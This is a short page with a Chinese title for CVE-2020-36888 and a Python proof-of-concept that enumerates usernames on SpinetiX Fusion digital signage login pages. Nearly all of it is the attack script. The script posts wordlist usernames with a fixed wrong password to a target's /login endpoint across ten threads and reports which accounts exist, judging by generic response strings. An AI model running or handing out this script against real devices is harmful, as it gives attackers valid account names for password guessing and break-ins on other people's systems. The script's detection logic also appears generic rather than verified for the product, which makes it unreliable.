CVE-2020-36888 SpinetiX Fusion数字标牌登录页面用户名枚举漏洞

#!/usr/bin/env python3 """ CVE-2020-36888 - SpinetiX Fusion Username Enumeration PoC This PoC demonstrates username enumeration vulnerability in SpinetiX Fusion login script. """ import requests import sys from concurrent.futures import ThreadPoolExecutor def check_username(base_url, username): """ Check if a username exists by analyzing server response. """ login_endpoint = f"{base_url}/login" # Craft login request with the username to test data = { 'username': username, 'password': 'wrong_password_12345' } try: response = requests.post(login_endpoint, data=data, timeout=10) # Analyze response to identify valid username # Different responses indicate username existence if 'Invalid password' in response.text or response.status_code == 401: return {'username': username, 'exists': True, 'response': 'valid_user'} elif 'not found' in response.text.lower() or 'does not exist' in response.text.lower(): return {'username': username, 'exists': False, 'response': 'user_not_found'} else: return {'username': username, 'exists': None, 'response': 'unknown'} except requests.exceptions.RequestException as e: return {'username': username, 'exists': None, 'error': str(e)} def main(): if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <target_url> <username_list_file>") print(f"Example: python3 {sys.argv[0]} http://target.com usernames.txt") sys.exit(1) target_url = sys.argv[1] username_file = sys.argv[2] # Read usernames from file with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] print(f"[*] Starting username enumeration against {target_url}") print(f"[*] Testing {len(usernames)} usernames...\n") # Test usernames with thread pool for efficiency valid_users = [] with ThreadPoolExecutor(max_workers=10) as executor: results = executor.map(lambda u: check_username(target_url, u), usernames) for result in results: if result['exists']: print(f"[+] Valid username found: {result['username']}") valid_users.append(result['username']) print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid usernames.") if valid_users: print("\n[*] Valid usernames:") for user in valid_users: print(f" - {user}") if __name__ == "__main__": main()